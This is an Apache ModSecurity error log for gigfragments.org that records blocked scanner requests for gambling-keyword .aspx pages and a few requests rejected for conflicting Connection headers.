[Mon May 04 08:03:07.281053 2026] [:error] [pid 12022:tid 12027] [client 81.167.26.57:63444] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "affiO0VhgvCNKBWnaTIg0gAAAIM"]
[Mon May 04 08:03:09.257794 2026] [:error] [pid 12051:tid 12067] [client 81.167.26.57:27947] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "affiPerVB-w_PyOHK6ksuQAAAU4"]
[Mon May 04 08:03:11.313435 2026] [:error] [pid 12022:tid 12025] [client 81.167.26.57:41309] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "affiP0VhgvCNKBWnaTIg2wAAAIE"]
[Mon May 04 08:03:13.293341 2026] [:error] [pid 12022:tid 12033] [client 81.167.26.57:33402] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "affiQUVhgvCNKBWnaTIg4wAAAIk"]
[Mon May 04 08:03:15.287916 2026] [:error] [pid 12051:tid 12058] [client 81.167.26.57:31151] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "affiQ-rVB-w_PyOHK6ksygAAAUU"]
[Mon May 04 08:03:17.266033 2026] [:error] [pid 12022:tid 12030] [client 81.167.26.57:21317] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "affiRUVhgvCNKBWnaTIg8gAAAIY"]
[Mon May 04 08:03:19.089198 2026] [:error] [pid 12051:tid 12057] [client 81.167.26.57:1388] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "affiR-rVB-w_PyOHK6ks3gAAAUQ"]
[Mon May 04 08:03:21.092920 2026] [:error] [pid 11958:tid 11971] [client 81.167.26.57:65513] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "affiSTAK_o2NLEdfAUkmLQAAAEo"]
[Mon May 04 08:03:23.214004 2026] [:error] [pid 12022:tid 12024] [client 81.167.26.57:62436] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "affiS0VhgvCNKBWnaTIhDgAAAIA"]
[Mon May 04 08:03:25.184912 2026] [:error] [pid 12051:tid 12061] [client 81.167.26.57:4690] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "affiTerVB-w_PyOHK6ks4QAAAUg"]
[Mon May 04 08:03:27.146436 2026] [:error] [pid 11958:tid 11962] [client 81.167.26.57:20458] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "affiTzAK_o2NLEdfAUkmNwAAAEE"]
[Mon May 04 08:03:29.140959 2026] [:error] [pid 12051:tid 12060] [client 81.167.26.57:41011] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "affiUerVB-w_PyOHK6ks7wAAAUc"]
[Mon May 04 08:03:31.104028 2026] [:error] [pid 12051:tid 12055] [client 81.167.26.57:25987] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "affiU-rVB-w_PyOHK6ks-gAAAUI"]
[Mon May 04 08:03:33.078601 2026] [:error] [pid 11959:tid 11997] [client 81.167.26.57:10591] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "affiVQojk2nvxs7h5KvDuAAAAMk"]
[Mon May 04 08:03:35.057900 2026] [:error] [pid 12022:tid 12035] [client 81.167.26.57:36254] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "affiV0VhgvCNKBWnaTIhIwAAAIs"]
[Mon May 04 08:03:37.027818 2026] [:error] [pid 12022:tid 12033] [client 81.167.26.57:25142] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "affiWUVhgvCNKBWnaTIhKgAAAIk"]
[Mon May 04 08:03:38.872314 2026] [:error] [pid 12051:tid 12055] [client 81.167.26.57:17466] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "affiWurVB-w_PyOHK6ktCAAAAUI"]
[Mon May 04 08:03:40.836655 2026] [:error] [pid 11959:tid 12006] [client 81.167.26.57:11971] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "affiXAojk2nvxs7h5KvDvQAAANI"]
[Mon May 04 08:10:43.363468 2026] [:error] [pid 11959:tid 11993] [client 114.119.144.229:51553] [client 114.119.144.229] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "affkAwojk2nvxs7h5KvHiwAAAMU"], referer: http://gigfragments.org/
[Mon May 04 08:42:04.592033 2026] [:error] [pid 11958:tid 11971] [client 114.119.134.93:44667] [client 114.119.134.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "affrXDAK_o2NLEdfAUku8gAAAEo"]
[Mon May 04 08:43:34.640310 2026] [:error] [pid 12051:tid 12057] [client 114.119.159.39:56059] [client 114.119.159.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "affrturVB-w_PyOHK6lDKgAAAUQ"]
[Mon May 04 08:45:10.787716 2026] [:error] [pid 12051:tid 12053] [client 114.119.130.102:38407] [client 114.119.130.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "affsFurVB-w_PyOHK6lEewAAAUA"], referer: http://www.gigfragments.org/
[Mon May 04 08:47:23.885629 2026] [:error] [pid 11958:tid 11964] [client 114.119.142.124:51343] [client 114.119.142.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "affsmzAK_o2NLEdfAUkv7QAAAEM"], referer: http://gigfragments.org/
[Mon May 04 09:21:04.476557 2026] [:error] [pid 12051:tid 12062] [client 51.83.9.109:32812] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aff0gOrVB-w_PyOHK6lSqAAAAUk"]
[Mon May 04 09:21:06.402692 2026] [:error] [pid 12022:tid 12036] [client 51.83.9.109:46700] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aff0gkVhgvCNKBWnaTI6VgAAAIw"]
[Mon May 04 09:21:08.413818 2026] [:error] [pid 33186:tid 33193] [client 51.83.9.109:46716] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aff0hLqlqe0DcmBS9VzYEgAAAAQ"]
[Mon May 04 09:21:10.415594 2026] [:error] [pid 11958:tid 11982] [client 51.83.9.109:46730] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aff0hjAK_o2NLEdfAUk19AAAAFU"]
[Mon May 04 09:21:12.423994 2026] [:error] [pid 33186:tid 33189] [client 51.83.9.109:42116] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aff0iLqlqe0DcmBS9VzYGQAAAAA"]
[Mon May 04 09:21:14.436308 2026] [:error] [pid 12051:tid 12068] [client 51.83.9.109:42126] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aff0iurVB-w_PyOHK6lStgAAAU8"]
[Mon May 04 09:21:16.440120 2026] [:error] [pid 11959:tid 12010] [client 51.83.9.109:42130] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aff0jAojk2nvxs7h5KvX5AAAANY"]
[Mon May 04 09:21:18.441426 2026] [:error] [pid 12051:tid 12056] [client 51.83.9.109:42136] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aff0jurVB-w_PyOHK6lSugAAAUM"]
[Mon May 04 09:21:20.447325 2026] [:error] [pid 12051:tid 12059] [client 51.83.9.109:42138] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aff0kOrVB-w_PyOHK6lSvQAAAUY"]
[Mon May 04 09:21:22.442891 2026] [:error] [pid 12051:tid 12067] [client 51.83.9.109:39048] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aff0kurVB-w_PyOHK6lSwgAAAU4"]
[Mon May 04 09:21:24.318101 2026] [:error] [pid 33186:tid 33209] [client 51.83.9.109:39056] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aff0lLqlqe0DcmBS9VzYJgAAABQ"]
[Mon May 04 09:21:26.312589 2026] [:error] [pid 12051:tid 12054] [client 51.83.9.109:39064] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aff0lurVB-w_PyOHK6lSwwAAAUE"]
[Mon May 04 09:21:28.319106 2026] [:error] [pid 12051:tid 12073] [client 51.83.9.109:39066] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aff0mOrVB-w_PyOHK6lSxAAAAVQ"]
[Mon May 04 09:21:30.320491 2026] [:error] [pid 12051:tid 12067] [client 51.83.9.109:39082] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aff0murVB-w_PyOHK6lSyQAAAU4"]
[Mon May 04 09:21:32.328800 2026] [:error] [pid 12022:tid 12048] [client 51.83.9.109:58904] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aff0nEVhgvCNKBWnaTI6ZwAAAJg"]
[Mon May 04 09:21:34.332660 2026] [:error] [pid 11959:tid 11996] [client 51.83.9.109:58912] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aff0ngojk2nvxs7h5KvX8QAAAMg"]
[Mon May 04 09:21:36.327190 2026] [:error] [pid 11959:tid 12004] [client 51.83.9.109:58924] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aff0oAojk2nvxs7h5KvX9QAAANA"]
[Mon May 04 09:21:38.350928 2026] [:error] [pid 33186:tid 33192] [client 51.83.9.109:58930] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aff0orqlqe0DcmBS9VzYQwAAAAM"]
[Mon May 04 09:21:40.357943 2026] [:error] [pid 12051:tid 12060] [client 51.83.9.109:58940] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aff0pOrVB-w_PyOHK6lSzQAAAUc"]
[Mon May 04 09:21:42.373683 2026] [:error] [pid 33186:tid 33191] [client 51.83.9.109:57414] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aff0prqlqe0DcmBS9VzYSAAAAAI"]
[Mon May 04 09:21:44.396426 2026] [:error] [pid 11958:tid 11977] [client 51.83.9.109:57430] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aff0qDAK_o2NLEdfAUk2BwAAAFA"]
[Mon May 04 09:21:46.236695 2026] [:error] [pid 12051:tid 12076] [client 51.83.9.109:57444] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aff0qurVB-w_PyOHK6lS0wAAAVc"]
[Mon May 04 09:21:48.249401 2026] [:error] [pid 11959:tid 12003] [client 51.83.9.109:57446] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aff0rAojk2nvxs7h5KvYQAAAAM8"]
[Mon May 04 09:21:50.265704 2026] [:error] [pid 11958:tid 11983] [client 51.83.9.109:57456] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aff0rjAK_o2NLEdfAUk2EAAAAFY"]
[Mon May 04 09:21:52.261568 2026] [:error] [pid 12051:tid 12058] [client 51.83.9.109:39974] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aff0sOrVB-w_PyOHK6lS2gAAAUU"]
[Mon May 04 09:21:54.252788 2026] [:error] [pid 11959:tid 12010] [client 51.83.9.109:39980] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aff0sgojk2nvxs7h5KvYRgAAANY"]
[Mon May 04 09:21:56.254911 2026] [:error] [pid 33186:tid 33207] [client 51.83.9.109:39988] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aff0tLqlqe0DcmBS9VzYUAAAABI"]
[Mon May 04 09:21:58.259593 2026] [:error] [pid 12051:tid 12074] [client 51.83.9.109:39992] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aff0turVB-w_PyOHK6lS5QAAAVU"]
[Mon May 04 09:22:00.252578 2026] [:error] [pid 33186:tid 33189] [client 51.83.9.109:39996] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aff0uLqlqe0DcmBS9VzYVQAAAAA"]
[Mon May 04 10:04:05.068372 2026] [:error] [pid 12051:tid 12072] [client 79.137.64.41:35760] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aff-lerVB-w_PyOHK6lh9QAAAVM"]
[Mon May 04 10:04:07.020471 2026] [:error] [pid 33186:tid 33211] [client 79.137.64.41:57224] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aff-l7qlqe0DcmBS9Vz1JQAAABY"]
